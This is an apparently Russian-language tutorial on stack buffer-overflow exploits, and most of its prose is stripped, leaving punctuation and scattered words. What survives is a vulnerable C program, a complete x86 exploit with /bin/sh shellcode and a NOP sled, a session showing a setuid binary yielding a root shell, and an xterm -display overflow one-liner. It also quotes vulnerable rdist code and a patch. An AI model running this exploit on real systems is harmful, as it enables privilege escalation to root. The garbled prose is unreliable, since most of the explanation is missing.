, - , , , , , . "buffer-overflow" . , , , - , . , "?", "?".
...
- C , "Memory fault - core dumped" "General Protection Fault". , , . , , , , , "" - . - " " . - UNIX, - (Windows), , MS DOS, .
. , , 1024 , . , . , , , . , - , ; , , , , - "" , .
, "" , , , . ? . , , , , . , , "buffer-overflow exploits" - , / .
, , "rabbit.c":
#include#include void process(char *str) { char buffer[256]; strcpy(buffer, str); printf(" = %d\n", strlen(buffer)); return; } void main(int argc, char *argv[]) { if (argc == 2) process(argv[1]); else printf("Usage: %s some_string\n", argv[0]); }
, , , strcpy() sprintf(), .
, process(). , ( , ) :
|. . . | ( ) | | |------| <== |XXXXXX| |XXXXXX| |XXXXXX| |. . . | ( )- ( ), . , , - . , , - , . , , , . , :
|. . . | ( ) | | |------| <== |RETADR| <== |PARAMS| <== |XXXXXX| |XXXXXX| |XXXXXX| |. . . | ( )? (BP), . ( x86):
push bp mov bp,spBP, .
256 . malloc() new , "static", . :
|. . . | ( ) | | |------| <== |??????| <== |??????| . . . |??????| <== |OLD BP| <== BP |RETADR| <== |PARAMS| <== |XXXXXX| |XXXXXX| |XXXXXX| |. . . | ( ), "strcpy()". , , , , BP, , , , .
, ? strcpy() , - "0", , , RETADR. , - , return(). , RETADR, , , . - , , - , .
, , - . , , , REDADR ? return() , . , .
strcpy()?
|. . . | ( ) | | |------| <== +->|!!!!!!| | |!!!!!!| <== | |!!!!!!| | |OLD BP| <== BP (, ) +--|RETADR| <== () |PARAMS| <== |XXXXXX| |XXXXXX| |XXXXXX| |. . . | ( )? -, , , RETADR. exploit , . -, , 0, , - . , , , BP, - , . -, , core dump, , RETADR. , , - - .
, , . , Linux, BSD-family, Solaris, /bin/sh , Internet . , Internet - Solaris.
exploit.c (86), , , rabbit.c.
#include:#include #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 256 #define SKIP_VARS 4 /* */ long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; char *ptr = NULL; int i; /* /bin/sh */ char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07" "\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b" "\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8" "\xff\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02" "\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* */ buff = malloc(BUFFER_SIZE+16); if(!buff) { perror("Can't allocate memory"); exit(0); } ptr = buff; /* NOP (" ") */ for (i=0; i < BUFFER_SIZE-strlen(execshell); i++) *(ptr++) = 0x90; /* */ for (i=0; i < strlen(execshell); i++) *(ptr++) = execshell[i]; /* , */ for (i=0; i < SKIP_VARS; i++) *(ptr++) = 0x90; /* */ *(long *)ptr = get_esp() + DEFAULT_OFFSET; ptr += 4; /* 0 */ *ptr = 0; /* */ printf("%s\n", buff); execl("./rabbit", "rabbit", buff, NULL); }
# id uid=0(root) gid=0(wheel) # gcc -o rabbit rabbit.c # chmod u+s rabbit # ls -l rabbit -- , rabbit - root-setuid -rwsr-xr-x 1 root wheel 12288 Jan 1 00:01 rabbit # su user $ id uid=200 (user), group = 200 (users) -- - $ ./rabbit test -- ... = 4 $ gcc -o exploit exploit.c -- ... $ ./exploit -- exploit, = 264 -- rabbit # id uid=200(root) gid=200(users) euid=0(root) -- -, !
, , . . , ; . , , . "" sendmail, , , .
- . , , , . , , , . / . , - .
, ,
, - .
rdist BSD , . , /usr/bin/rdist, . rdist (setuid bit), root shell root.
POP- , - sprintf(). ? , 110- (pop3-) , pop- sprintf() "" shell return(), root. , , root.
finger, , .
, X-Window, ,
"-display
freebsd-security
- -
,
BSD, SunOS,
( ). ,
,
?
, exploit-
, ( ),
,
( BUFFER_SIZE, SKIP_VARS)
-.
: "" " ".
, UNIX,
,
. ,
x86 , ,
, Sparc MIPS,
.
,
- ,
.
, ,
, .
-
.
buffer-overflow exploits.
-
: ,
(root setuid-; , inetd ..)
strcpy, gets, sprintf ,
, , ,
.
BUFSIZ, PATH_MAX .
, :
:
"Memory fault, core dump saved", ,
, :
, .
,
:
,
UNIX security, BUGTRAQ, BoS, WDL;
CERT (Computer Emergency Response Team),
.
WDL WWW.
, , ,
,
( /var/log/messages). ,
,
.
UNIX .
, , MS Word,
DOC-
? ,
DOS/WIN,
, .
, , NT
, . Internet
exploit NT, ,
. NT .
-
. ,
,
, .
"Check list for writing secure Unix code" WDL WWW
rdist BSD:
struct namelist * lookup(name, action, value)
char *name;
int action;
struct namelist *value;
{
register unsigned n;
register char *cp;
register struct syment *s;
char buf[256];
. . .
if (action != INSERT || s->s_type != CONST) {
/* !!! */ (void)sprintf(buf, "%s redefined", name);
yyerror(buf);
, buf
, . ,
, , "!!!",
(
, rdist):
if (action != INSERT || s->s_type != CONST) {
if (strlen(name) > 240)
{
printf("The something going on...\n");
exit(1);
}
(void)sprintf(buf, "%s redefined", name);
- : ,
,
. ,
xterm :
/usr/bin/X11R6/xterm -display `perl '{print "A" x 5000;}'`:0
5000 ( ,
BUFSIZ, FILENAME_MAX .., /usr/include, ,
2048 . /
, .
for (char *temp=buffer;*buffer;buffer++) *temp++=*buffer;
, strcpy().
exploit- .
, , sendmail
8.7.5, GECOS-,
BSD chfn, chsh
chpass. , , : ,
/ sendmail
.